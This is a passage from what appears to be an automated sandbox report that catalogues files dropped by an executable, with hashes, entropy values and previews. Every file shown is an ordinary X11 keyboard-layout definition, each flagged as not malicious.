Preview:	default partial alphanumeric_keys.xkb_symbols "basic" {.. include "us".. name[Group1]= "English (Nigeria)";. key <AE04> { [ 4, 0x010020A6, dollar, cent ] };. include "level3(ralt_switch)".};..partial alphanumeric_keys.xkb_symbols "yoruba" {. include "ng(basic)".. name[Group1]= "Yoruba";.. key <AD01> { [ 0x01001EB9, 0x01001EB8, q, Q ] };. key <AB02> { [ 0x01001ECD, 0x01001ECC, x, X ] }; . key <AB04> { [ 0x01001E63, 0x01001E62, v, V ] }; .};..partial alphanumeric_keys.xkb_symbols "igbo" {. include "ng(basic)".. name[Group1]= "Igbo";.. key <AD01> { [ 0x01001ECB, 0x01001ECA, q, Q ] };. key <AB02> { [ 0x01001E45, 0x01001E44, x, X ] }; . key <AC10> { [ 0x01001EE5, 0x01001EE4, semicolon,. colon ] };. key <AD11> { [ 0x01001ECD, 0x01001ECC, bracketleft, braceleft ] };.. .};..partial alphanumeric_keys.xkb_symbols "hausa" {. include "ng

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6884
Entropy (8bit):	3.9988848214553356
Encrypted:	false
SSDEEP:	96:xwgM4ZSSvoHXMQwaPD82Id7bAnTKrr6GDo1+YIvt5:xI4ZdvocQwaA2Id4KyGDdYQt5
MD5:	D791D7C217B4ACADCDDC25F198798766
SHA1:	243C4E8A21613FE3870DDC37F26C9A8D2236CAAA
SHA-256:	32F1407DEE1B021C8DA9948EDFEB6B2FEA95FD29E4FD6B7BD3314E988D05F863
SHA-512:	4A7C0CCB4B03E24020F186470B7F8658F48307D95771E8C7BDDFB4663A0BC85A5BE551BFAD2287EA8D70F97CC24D115ED4611E1FCF4BB0E83DFB6527C90CF3A1
Malicious:	false
Preview:	// Basic layout based on converted file, from keytable file to xkb/symbols/ file.// with mk_xkb by root@linux.chanae.stben.be Tue Sep 30 00:53:29 MET DST 1997..// Converted from the nl-latin.map of the Linux kbd package by.// Pablo Saratxaga <srtxg@f2219.n293.z2.fidonet.org>..// Official layout by Benno Schulenberg <bensberg@justemail.net>, January 2007,.// based on http://www.xs4all.nl/~koospol/public/Xmodmap-nl-deadkeys.gz...default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin".. name[Group1]="Dutch";.. key <AE02>.{ [ 2, quotedbl, twosuperior, oneeighth ].};. key <AE06>.{ [ 6, ampersand, threequarters, fiveeighths ].};. key <AE07>.{ [ 7, underscore, sterling, seveneighths ].};. key <AE08>.{ [ 8, parenleft, braceleft, bracketleft ].};. key <AE09>.{ [ 9, parenright, braceright, bracketright ].};. key <AE10>.{ [ 0, apostrophe, degree, trademark ].};. key <AE11>.{ [

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\no

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11667
Entropy (8bit):	4.526150787960164
Encrypted:	false
SSDEEP:	192:FrRxaLjw1i+IHd4JV+NtYOqt851TrSGIq8lSL9QkIjF3MNerYY/zV8xI++pgLdae:FrHv1i+IoV+bh+85RrfP8uu3DrYOV8xT
MD5:	E2FBD55D75CE8148B1802E219E16055F
SHA1:	9F4A3E0E44EA531D77679A70BE9BE04E9E33A9DC
SHA-256:	6F4C74641DD52385711C99F46398495DF32227417669F0C7105EE67A74352E6B
SHA-512:	0866BA8E05C5C3EFBD36BBB4A4E7023E02BD32DC2E8D059DC577826788340A169DD3CC29CA95DCB6C654655BEEFB72AF93CD9B3BC3CBFEE8A842585B5772FA30
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/no' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. // Describes the differences between a very simple en_US. // keyboard and a Norwegian keyboard with dead key support. // and all of ISO-8859-1 characters available... include "latin(type2)".. name[Group1]="Norwegian";.. key <AB09>.{ [ period, colon, ellipsis, periodcentered ].};. key <AB10>.{ [ minus, underscore, endash, emdash ].};. key <AD04>.{ [ r, R, registered, trademark ].};. key <AD10>.{ [ p, P, Greek_pi, Greek_PI ].};. key <AE05>.{ [ 5, percent, onehalf, 0x1002030 ].};.. key <AE11>.{ [ plus, question, plusminus, questiondown ].};. key <AE12>.{ [ backslash, dead_grave, dead_acute, notsign ].};... key <AC10>.{ [ oslash, Ooblique, dead_acute, dead_doubleacute ] };. key <AC11>.{ [ ae, AE, dead_cir

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nokia_vndr\rx-44

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15166
Entropy (8bit):	4.923130702050418
Encrypted:	false
SSDEEP:	384:xByjpr9yoosaolXICpCUjc/RDYyAUdWz9yy6o:xcpFDl4CpJIN0ZyyF
MD5:	B69BCCE9E802316BF57220069F75D32C
SHA1:	B7F8326FE6562E47DC755ABC5CB7BAF59120FA93
SHA-256:	608B189D1C160AF55A55A47046EABF83E69BF63A679B586455B5352CEF0A15F1
SHA-512:	8B33FE4CD736B36E07EF3B75EAA988638CC6F4A9C80CB362420FA0EDDFE8362CAD015D1DD430834F01A41939FB7C06037DD7701D8F41019E83AB451FB31F48E2
Malicious:	false
Preview:	partial alphanumeric_keys.xkb_symbols "us" {. name[Group1] = "U.S. English";. . include "nokia_vndr/rx-44(base)".. key <AC01>.{.[.a,..A,..exclam,..exclam..].};. key <AC02>.{.[.s,..S,..quotedbl,.quotedbl.].};. key <AC03>.{.[.d,..D,..at,..at..].};. key <AC04>.{.[.f,..F,..numbersign,.numbersign.].};. key <AC05>.{.[.g,..G,..backslash,.backslash.].};. key <AC06>.{.[.h,..H,..slash,..slash..].};. key <AC07>.{.[.j,..J,..parenleft,.parenleft.].};. key <AC08>.{.[.k,..K,..parenright,.parenright.].};. key <AC09>.{.[.l,..L,..asterisk,.asterisk.].};. key <AC11> { [ apostrophe, question, question,.question.].};.. key <AB01>.{.[.z,..Z,..yen,..yen..].};. key <AB02>.{.[.x,..X,..asciicircum,.asciicircum.].};. key <AB03>.{.[.c,..C,..asciitilde,.asciitilde.].};. key <AB04>.{.[.v,..V,..percent,.percent..].};. key <AB05>.{.[.b,..B,..ampersand,.ampersand.].};. key <AB06>.{.[.n,..N,..dollar,..dollar..].};. key <AB07>.{.[.m,..M,.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nokia_vndr\rx-51

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	72093
Entropy (8bit):	5.183765318223236
Encrypted:	false
SSDEEP:	1536:CLKy1k9h2zJhYlWDiUMNA5AN/AwAgAHo2AAeAA7AbAnAqAvA+HA6:cF
MD5:	FE5ACA59422FD4883A5230912DA5C03C
SHA1:	00C467CB6CDEB50E46BA657F02C456B33AB55BD2
SHA-256:	96CD8AC7795A8360D6248CE2561C4CD51E6C462A7A73A0F3E6CD8190DCF3D631
SHA-512:	5ED1DFDA427822F25D43136DF1D2942E53868A6CE924480CD6C9C1ACA8F39737D0B68EC0C9A0D823EE42C0BAF39D27D800098E0539CD68BC060C369EAD5547BC
Malicious:	false
Preview:	default partial alphanumeric_keys.xkb_symbols "common" {. include "nokia_vndr/rx-51(common_keys)". include "nokia_vndr/rx-51(modifiers)"...key <BKSP>.{ [.BackSpace,.Delete,..BackSpace,.Delete..] };... // This section should not be included by any other section.. // It's referenced only once by rule file to allow multiple layout configurations... // More than one layout at the same time could be set for instance as follows:. // setxkbmap -rules evdev \. // -model nokiarx51 \. // -option grp:ctrl_shift_toggle \. // -layout us,cz \. // -variant ",qwerty".. // Notice the similarity:. // "pc+us+cz(qwerty):2+grp:XYZ" vs.. // "nokia_vndr/rx-51(common)+nokia_vndr/rx-51(us)+nokia_vndr/rx-51(cz_qwerty):2+grp:XYZ". // where XYZ is one of xkb_symbols section usually located in file symbols/group... // Bear in mind that option XYZ could replace current keys configuration!!!.. // For instance using symbols/gr

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\nokia_vndr\su-8w

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	27917
Entropy (8bit):	3.376130603147049
Encrypted:	false
SSDEEP:	384:A8M+mGO1CRdfnULKEkEG+mGOVCR9JxyCM9j+mGO1CRdJU0acTeE5cuMGd1US83SJ:A8gKEkE1M9WTTe1SRHj
MD5:	45B625B621E573F9405491DF77927383
SHA1:	7E1BBC712381DFB151E8EB180717E2B59A727116
SHA-256:	3429128A0BF431FD04DD4007D0752C74DA11994B8670A05285ECE0CF44EA0E84
SHA-512:	8D651B80B8AF6307B46127F7264174A0DDDA8781029286DEF4F06D6930DF229BF1044986E0B72DAF1F9011D24A6A6FDFF04DB13319087B8F08C4DCA1287CDA29
Malicious:	false
Preview:	partial alphanumeric_keys default.xkb_symbols "no" {. name[Group1]= "Norwegian/Danish";.. include "nokia_vndr/su-8w(base)".. key <AE01> { [ 1, exclam, dead_circumflex ] };. key <AE02> { [ 2, quotedbl, at ] };. key <AE03> { [ 3, numbersign, EuroSign ] };. key <AE04> { [ 4, currency, dollar ] };. key <AE05> { [ 5, percent, sterling ] };. key <AE06> { [ 6, ampersand ] };. key <AE07> { [ 7, slash, braceleft ] };. key <AE08> { [ 8, parenleft, bracketleft ] };. key <AE09> { [ 9, parenright, bracketright ] };. key <AE10> { [ 0, equal,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\np

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6772
Entropy (8bit):	4.4037408367734825
Encrypted:	false
SSDEEP:	192:HwJ1IguIE2tXl/o7ZXwub43CRdaK2ANF9j3zWD:HwJCguIE2tXl/o7ZXp836daK2cF97zWD
MD5:	31EC1782AFCA7F689C4ED7B54BF247BB
SHA1:	43CA7B9033563B651C4958F4FD0BFE129C8E40F2
SHA-256:	75C670026DA3DDAD37C0141A325A6E589DAA77C05881B4C5D78C415DC0D380EB
SHA-512:	2CD9FF9F49FFCC138CF929798A8F4777BE290B0713ED5180631B7CBEECCA380657046061712A214E85F2BF45879CAD5B44E70CAF2C908404CD66E63DBEA5EDA3
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/dev' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Nepali";..// `,1,2,3,4,5,6,7,8,9,0,-,=.. key <TLDE> { [ 0x100093D,0x100093C ].};. key <AE01> { [ 0x1000967. ..].};. key <AE02> { [ 0x1000968...].};. key <AE03> { [ 0x1000969 . ..].};. key <AE04> { [ 0x100096A . ..].};. key <AE05> { [ 0x100096B . ..].};. key <AE06> { [ 0x100096C . ..].};. key <AE07> { [ 0x100096D ].};. key <AE08> { [ 0x100096e . ..].};. key <AE09> { [ 0x100096F. ..].};. key <AE10> { [ 0x1000966,0x1000970..].};. key <AE11> { [ minus, 0x1000952 ..].};. key <AE12> { [ equal, 0x100200C ..].};..// q,w,e,r,t,y,u,i,o,p,[,].. key <AD01> { [ 0x100091F, 0x1000920 .].};. key <AD02> { [ 0x100094C, 0x1000914 .].};. key <AD03> { [ 0x1000947, 0x1000948

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\olpc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.980027562636663
Encrypted:	false
SSDEEP:	24:tWFpL6CqFgY7i/efhpOpUY1IYclERwSw8rBhVmngWKHVx:tWpqFgPe54pUVjJih4n3oVx
MD5:	52F9656CE56B4AC3DDB9BE0B06B96600
SHA1:	44D54B4FE1E438BFCBF816909BD1A0FC68A7AC51
SHA-256:	5DD585565E873ED7EA2D264E186AB6C90BDA7528A9DE05180EFD8A21CA8F0151
SHA-512:	C1FD8F362CEB27AFE0B6963C9848842370A6BD13E1EF015A26C5B84BE7364E78159ABD67A980A94922F169A305E40EF93C430C52A9D9E98EE2B43D264991745A
Malicious:	false
Preview:	//.// Created by Bernardo Innocenti <bernie@codewiz.org>.//.// Additional symbol definitions for the OLPC keyboards.//..alphanumeric_keys modifier_keys.xkb_symbols "olpc" {. include "pc(pc105)".. modifier_map Mod1 { KP_Home }; // KP_Home is the "square" game key. modifier_map Mod3 { KP_End }; // KP_End is the "tick" game key. modifier_map Mod4 { KP_Prior }; // KP_Prior is the "O" game key. modifier_map Mod5 { KP_Next }; // KP_Next is the "X" game key.. key <I220> { [ XF86Search ] }; // search key (unpopulated on olpcm, harmless). key <I221> { [ XF86Meeting ] }; // fn+search key (unpopulated on olpcm, harmless). key <I236> { [ XF86Start ] }; // gear key (fn+space). key <I147> { [ XF86TaskPane ] }; // frame key (the top-right key) (unpopulated on olpcm, harmless). key <I224> { [ XF86Messenger ] }; // overlay key (next to frame key) (unpopulated on olpcm, harmless).};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\pc

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3610
Entropy (8bit):	5.087756347596275
Encrypted:	false
SSDEEP:	48:IKE2dEIQOHCJ2vvBmCSxtznzG4+CAWuGO8914C5:xPTXc3ZyE75
MD5:	1A329359571BB5E738E92797BC0E29C6
SHA1:	64E161A00A98F115F688994B6D520AB2F0F713F5
SHA-256:	BD6FF9BCC42E7052DC9D88FB403622F90EFBF7A0F4E0E7E51683265EAD6222BA
SHA-512:	720EE1FEC58CE681FDEE78279DFAB0638EFBBBDE84F30B2AB9835D1421622DEAFF75D9DFA72FA8CA8091FF9A96811D7542F4D24246A6F8393A9D228957412B4F
Malicious:	false
Preview:	// $XKeyboardConfig$..//.// $XFree86: xc/programs/xkbcomp/symbols/pc,v 1.9 2003/06/09 19:59:46 dawes Exp $..default partial alphanumeric_keys modifier_keys .xkb_symbols "pc105" {.. key <ESC> {.[ Escape...].};.. // the extra key on most European keyboards. key <LSGT> {.[ less, greater, bar, userenbar ].};.. // these keys are common to all layouts. key <BKSL> {.[ backslash,.bar..].};. key <SPCE> {.[ . space...].};.. include "pc(function)". include "pc(editing)". include "keypad(x11)".. key <BKSP> {.[ BackSpace, BackSpace.].};.. key <TAB> {.[ Tab,.ISO_Left_Tab.].};. key <RTRN> {.[ Return.].};.. key <CAPS> {.[ Caps_Lock.].};..// key <NMLK> {.[ Num_Lock, Pointer_EnableKeys..].};.. key <LFSH> {.[ Shift_L.].};. key <LCTL> {.[ Control_L.].};.. key <LWIN> {.[ Super_L...].};. modifier_map Mod4 { <LWIN> };.. key <RTSH> {.[ Shift_R.].};. key <RCTL> {.[ Control_R.].};.. key <RWIN> {.[ Super_R...].};. modifier_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ph

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	76133
Entropy (8bit):	5.230509906587671
Encrypted:	false
SSDEEP:	768:5dw6ebPiCXxcn26HvKNrkMItLdBHV27n92i:jbytB+P9pR1cN
MD5:	B58E0747CC14F7437CDDD69E63F353AC
SHA1:	6A67DE972EE34B01F32C1814AE1A59854BC58EE9
SHA-256:	6E5921ACFB8089788DB4E5C15B46900C95E7BB77735FD35BFE70B9544C75738E
SHA-512:	A9F6DDF0F720A2716E3287652230A79E3B797A3153A42BD7FD3661133F4FB2D55787A9A55ADB317635144F8B18E7FC3242838AB2445ABC67BDA19F1C2FEA96DC
Malicious:	false
Preview:	////////////////////////////////////////////////////////////////////////////////.// Philippines National Keyboard Layout v1.0.0 (2010-10-23) //.// http://laibcoms.com/sandbox/the-philippines-national-keyboard-layout //.// //.// License: GNU/GPLv3 //.// //.// Loosely based on ISO/IEC 9995-3:2009 //.//.* glyphs that are not used in Philippine Languages and //.//..Philippine English were not included //.//.* Additions/Changes that are not part of ISO/IEC 9995-3:2009 //.//..were added //.// //.// http://en.wikipedia.org/wiki/ISO/IEC_9995

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\pk

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	20664
Entropy (8bit):	3.671578464803729
Encrypted:	false
SSDEEP:	384:BWvQBfpq24Uxk2QyAq6e4Gid0MpUOdr65z15K6evDQVqZY6FCtoIu:5b9mCJyp
MD5:	3B688461D5BD841957409D1BA02A25B5
SHA1:	C9E4F743BC3A99CE4E32511059E4A1FA4C35A605
SHA-256:	25A7E07E536DBF0362598B1EF50E912E2AB93E98ADE699763E35A790965B672E
SHA-512:	804857FE2F54D1C7200EEEFA65964C9800D79813569A1DAD5640F2593CD0714A00D52E0AB6B4396262162A47814B37FB8B59D33D9B64023164AF67838B428CDB
Malicious:	false
Preview:	// Urdu keymap.// Developed by:.// Zaeem Arshad <zaeem@linux.net.pk>.// Last update: 2004-03-12.// Notice:.// Alt-key combinations are yet to be put in. The unavailable keys are.// those which do not have a corresponding glyph in Unicode...default partial alphanumeric_keys.xkb_symbols "urd-phonetic" {.. name[Group1]= "Urdu (Pakistan)";.. key <TLDE> { [ 0x100064b , 0x100007E, 0x100200C ] };. key <AE01> { [ 0x1000031 , 0x1000021 ] };. key <AE02> { [ 0x1000032 , 0x1000040 ] };. key <AE03> { [ 0x1000033 , 0x1000023 ] };. key <AE04> { [ 0x1000034 , 0x1000024 ] };. key <AE05> { [ 0x1000035 , 0x1000025 ] };. key <AE06> { [ 0x1000036 , 0x100005E ] };. key <AE07> { [ 0x1000037 , 0x1000026 ] };. key <AE08> { [ 0x1000038 , 0x100002A ] };. key <AE09> { [ 0x1000039 , 0x1000029

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\pl

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	23448
Entropy (8bit):	4.818985915263885
Encrypted:	false
SSDEEP:	384:p1h87jGY7EhuXNUIyWxKhCvL0mKszsWUny8z6Ga+J8mhTVKBIvD5yk:pP87j5Ea6VEgqjLEy8OIJdVKKD59
MD5:	FFE47FE50ABA9C441D44AC3C97BBA4C7
SHA1:	6FF9AFD06129017B0A1D693444C5E8291F2B3577
SHA-256:	9C0AE89131A3F80FC529D7F8DD09D5EE5ED1FD04A2BDEAE851B153276F415D30
SHA-512:	E0FF771EABC38338947AADEA171DCF10428C998B20CE8523EFDBB405249A587154C80DBF07DE2D34752F5383067FBC7C271753B7DE56D069AABED7ED4CB57492
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/pl' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. // Visualisation and description: http://podziemie.net/xkb/pl. // Contact: Micha. G.rny <zrchos+freedesktop@gmail.com>.. include "latin".. name[Group1]="Polish";.. key <AE01>.{ [ 1, exclam, notequal, exclamdown ].};. key <AE02>.{ [ 2, at, twosuperior, questiondown ].};. key <AE04>.{ [ 4, dollar, cent, onequarter ].};. key <AE05>.{ [ 5, percent, EuroSign, U2030 ].};. key <AE06>.{ [ 6, asciicircum, onehalf, logicaland ].};. key <AE07>.{ [ 7, ampersand, section, U2248 ].};. key <AE08>.{ [ 8, asterisk, periodcentered, threequarters ] };. key <AE09>.{ [ 9, parenleft, guillemotleft, plusminus ].};. key <AE10>.{ [ 0, parenright, guillemotright, degree ].};. key <AE11>.{ [ minus, undersc

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\pt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10199
Entropy (8bit):	4.297797674430531
Encrypted:	false
SSDEEP:	192:schfAtKL3QPOm8xUbLu2FSXr1RLuX+f+ytru7UzXfIfVESROKe3q:sSAG3QGm86bK2EX7uX+fVru7YfIfCSRr
MD5:	1317CDE98845BEE3B347CDBA102857C1
SHA1:	DDF5C30A005AD3E5A56BB50004983A994377E154
SHA-256:	7E43003045B67E97AF48BC293F8A7F247CBDDB3B6E65CFCF10FCEC28D368D8A0
SHA-512:	A73389F7459FCFCBA0CE7EFF41D76E5836EC1B6072B893DF11A9F252F18A8B13EF527F0243A256C8C9EDC677526692453E5397D3C02322FEE03C57B7A266A62A
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/pt' file..default partial alphanumeric_keys.xkb_symbols "basic" {.. include "latin(type4)".. name[Group1]="Portuguese";.. key <LSGT> { [ less, greater, backslash, backslash ] };. key <AE03>.{ [ 3, numbersign, sterling, sterling ].};. key <AE04>.{ [ 4, dollar, section, dollar ].};. key <AE11>.{ [apostrophe, question, backslash, questiondown ].};. key <AE12>.{ [guillemotleft, guillemotright, dead_cedilla, dead_ogonek ] };.. key <AD11>.{ [ plus, asterisk, dead_diaeresis, dead_abovering ] };. key <AD12>.{ [dead_acute, dead_grave, dead_tilde, dead_macron ].};.. key <AC10>.{ [ ccedilla, Ccedilla, dead_acute, dead_doubleacute ] };. key <AC11>.{ [ masculine, ordfeminine, dead_circumflex, dead_caron ] };. key <TLDE>.{ [ backslash, bar, notsign, notsign ].};.. key <BKSL>.{ [dead_tilde, dead_circumflex, dead_grave, dea

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ro

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	11245
Entropy (8bit):	4.369660209797667
Encrypted:	false
SSDEEP:	192:HkxkvvBDJDuXiJgDtP27DJJDwzhqyv6eCH7dtJUPzzv0mm2fF3BB:VvBDBuXiJgDB27DbDwzhqyv6eStJUbzT
MD5:	96C586A3677870AFC84EC02479395BE5
SHA1:	74F0374479E7866275D9D5889192D42CEF03D72F
SHA-256:	70849CF126C8303F9DC3B7C5C77145ECF5DED3201DBC2B5038606B9943E3C04C
SHA-512:	D4A1A2D0166AF4B67DB83711C5042E9F20FD924C3BCD0B57E3987E2A3D1954F424EC5C12CE079069FB025E8ADEBC017F68D4000F7AA2CB45EAB7EAD0ED897268
Malicious:	false
Preview:	//.// Complete set of Romanian keyboards as described in the new Romanian standard.// SR 13392:2004 adopted in December 2004 by ASRO, "Asociatia de Standardizare .// din Romania"..// .// The default mapping is the RO_US/Programmers layout because of the lack of .// Romanian hardware keyboards. The primary standard layout is implemented as .// the "std" variant. If you're determined to get cedillas as in ISO-8859-2 .// (and not commabelow accents as in ISO-8859-16) use the defined variants .// "cedilla" for the default layout or "std_cedilla" for the standard one. .// Pre-Vista MS compatible layout included (use the "winkeys" variant)..// .// Created by Cristian Gafton, <gafton@redhat.com> (C) 2000.// Modified by Marius Andreiana, <mandreiana@yahoo.com> (C) 2001.// Completed by Misu Moldovan, <dumol@gnome.ro> (C) 2001, 2004-2008..// v 1.4...default partial alphanumeric_keys.xkb_symbols "basic" {.// This RO_US/Programmers layout, although the secondary layout in the .// Romanian standa

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\rs

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	16351
Entropy (8bit):	4.556125093833104
Encrypted:	false
SSDEEP:	192:+qudHAUp8aSds/CwWufWOu7llFE9cTpg34yD2NlPmPwEv4LZq:oH78aSd/wWu1uRlFE9cTpd+2NlPu4LZq
MD5:	ADA50C834A5BD5BB0118C0E22DB0D292
SHA1:	F5CBB74E0137CF40DCB6B24D879BEB9910C56D1D
SHA-256:	FE7D0AB188BA618561777FB8559F24F33956B5FE7700B592067C3919FD1EF5B8
SHA-512:	BF97044A65ED72422251CB272BC78EDDDC46B1C4A93E46A377B3D0DBEEFD8E3396D0F8F6A23E629C961497EAC9FA4001EC09D6EABDA9D5C53D3D681C10DFDB4A
Malicious:	false
Preview:	// Bosnian, Croatian, Serbian and Slovenian XKB keyboard mapping.// (derived from "Danube" D.2).//.// Danube D.2 from 2003-05-12 is available at http://srpski.org/dunav/.//.// Original authors:.// Danilo Segan (...... .....) <danilo@kvota.net>.// Chusslove Illich (...... ....) <caslav.ilic@gmx.net>.//.// Danilo Segan <danilo@kvota.net>:.// - Modified for inclusion in XFree86.// - Further modifications on 2005-08-18 to support Bosnian, Croatian.// and Slovenian in xkeyboard-config.// ..default partial alphanumeric_keys.xkb_symbols "basic" {.. name[Group1]= "Serbian";.. include "rs(cyrlevel3)". include "rs(common)". include "rs(cyralpha)". include "level3(ralt_switch)".};...partial alphanumeric_keys.xkb_symbols "latin" {.. name[Group1]= "Serbian (Latin)";.. include "latin(type3)". include "rs(latalpha)". include "rs(latlevel3)". include "rs(common)". include "level3(ralt_switch)".};...partial alphanumeric_keys.xkb_symbols "yz" {. // Cyrillic_zhe and

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ru

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	31372
Entropy (8bit):	4.976773451361455
Encrypted:	false
SSDEEP:	768:SPvd64qXdmbvB/MtNQaohrEtO2z23GVIi7aKjNKx5Hug:SP164qXMbvB/MtNQao602z23GVH7aKZu
MD5:	8324F0A4047F15BB11607CF96D686323
SHA1:	7668F8EEF00D4A65FF436FD23D45CF1FB5311533
SHA-256:	D3420BD263A271A18C0F0E911E84B21AF22408E7A84189DBA3119EAF986B51F9
SHA-512:	FA603E2A129613B0FD2859D41C0370C870EE4254596A0EB4A4549A5962A5EC5413E309EAB24CE519D6F71622D4AA1A4C957922641C3781817F90BA2536413C34
Malicious:	false
Preview:	// based on.// russian standard keyboard.// AEN <aen@logic.ru>.// 2001/12/23 by Leon Kanter <leon@blackcatlinux.com>.// 2005/12/09 Valery Inozemtsev <shrek@altlinux.ru>..// Windows layout.default partial alphanumeric_keys.xkb_symbols "winkeys" {. include "ru(common)".. name[Group1]= "Russian";.. key <AE03> { [ 3, numerosign ] };. key <AE04> { [ 4, semicolon ] };. key <AE05> { [ 5, percent ] };. key <AE06> { [ 6, colon ] };. key <AE07> { [ 7, question ] };. key <AE08> { [ 8, asterisk ] };.. key <AB10> { [ period, comma ] };. key <BKSL> { [ backslash, slash ] };.};..partial hidden alphanumeric_keys .xkb_symbols "common" {.. key.<AE01> {.[..1,. exclam

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\rupeesign

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	131
Entropy (8bit):	4.894739569295598
Encrypted:	false
SSDEEP:	3:RFvcqEwSUWAxkgTfXU69aSvNQMchFFRt8FFKXN0OevDn:jvcJUW8TfT93vKM8UiXNa
MD5:	F9E82F92E9698EFEB04BE8309AF71FC0
SHA1:	5A1474EF1DBBD9922C28E9C1963084875DB599D8
SHA-256:	24DDE1D4FCA8228394270B3B2CF71AB029466F8353A0345F8129AD4E56C59C93
SHA-512:	3D7638B9D30E3CFF26EF0576350321EF504FA5FA6E76F4327BCD280C2481BD10FAE105787B1596E494B2301EC839A411E22C4D702664FECDA537681CB4CE8F57
Malicious:	false
Preview:	// keyboards having the RupeeSign on the 4 key.partial.xkb_symbols "4" {. key <AE04>.{ [ NoSymbol, NoSymbol, U20B9 ].};.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\se

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	12685
Entropy (8bit):	4.856856461761163
Encrypted:	false
SSDEEP:	384:eA8EfmZ/aRmUhgtSmYxrYNLdNtEvhHuUo+t0uNl9Qaq3D2bfEG:eREvgA/xrYNxQvFuU8Szz
MD5:	A0432E5FD4425CC3A2DD12E1F770CC97
SHA1:	4FCCC9726CE29EB1A0232B864FDF71F18B0CA68F
SHA-256:	832ED5657D558442204A7F958FE1F827429C946BA69705C28A35EDDC00C458AC
SHA-512:	55BB8F7C4DB7A605BB8E761F7B275417A8B142B3F2EE3F9020AFB9F10EE87CD49A34F611834DB094FBA5B84ABF74E31DD867F6B2EE59313029221E0E27C6FD4E
Malicious:	false
Preview:	// based on a keyboard map from an 'xkb/symbols/se' file..default partial alphanumeric_keys.xkb_symbols "basic" {. include "latin(type2)". include "se(se)".};..partial alphanumeric_keys.xkb_symbols "se" {.. name[Group1]="Swedish";.. key <AE05>.{ [ 5, percent, EuroSign, cent ].};. key <AE11>.{ [ plus, question, backslash, questiondown ].};. key <AE12>.{ [dead_acute, dead_grave, plusminus, notsign ].};... key <AC10>.{ [odiaeresis, Odiaeresis, oslash, Ooblique ].};. key <AC11>.{ [adiaeresis, Adiaeresis, ae, AE ].};. key <TLDE>.{ [ section, onehalf, paragraph, threequarters].};.. key <BKSL>.{ [apostrophe, asterisk, acute, multiply ].};.. key <SPCE>.{ [ space, space, space, nobreakspace ].};.. key <LSGT> { [ less, greater, bar, userenbar ] };. include "kpdl(comma)".. include "level3(ralt_switch)".};..partial alphanumeric_

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\sgi_vndr\jp

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2090
Entropy (8bit):	3.7799253442704037
Encrypted:	false
